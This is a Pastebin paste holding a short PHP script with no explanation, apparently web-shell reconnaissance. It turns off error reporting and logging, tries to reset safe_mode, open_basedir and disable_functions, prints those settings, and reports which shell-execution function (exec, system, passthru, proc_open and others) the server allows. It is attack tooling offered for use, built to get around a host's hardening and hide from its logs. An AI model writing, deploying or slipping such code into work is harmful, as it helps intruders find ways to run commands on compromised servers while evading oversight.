Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- @ini_restore("safe_mode");
- @ini_restore("open_basedir");
- @ini_restore("safe_mode_include_dir");
- @ini_restore("safe_mode_exec_dir");
- @ini_restore("disable_functions");
- @ini_restore("allow_url_fopen");
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- print "disable_functions: ".@ini_get('disable_functions')."<br />";
- print "open_basedir: ".@ini_get('open_basedir')."<br />";
- print "safe_mode: ".@ini_get('safe_mode')."<br />";
- function test_exec(){
- if(@function_exists('exec')){
- return "exec";
- }elseif(@function_exists('shell_exec')){
- return "shell_exec";
- }elseif(@function_exists('system')){
- return "system";
- }elseif(@function_exists('passthru')){
- return "passthru";
- }elseif(@function_exists('popen')){
- return "popen";
- }elseif(@function_exists('proc_open')){
- return "proc_open";
- }elseif(@function_exists('pcntl_exec')||@function_exists('pcntl_fork')){
- return "pcntl_exec";
- }else{
- return NULL;
- }
- }
- print "execution style: ".test_exec();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement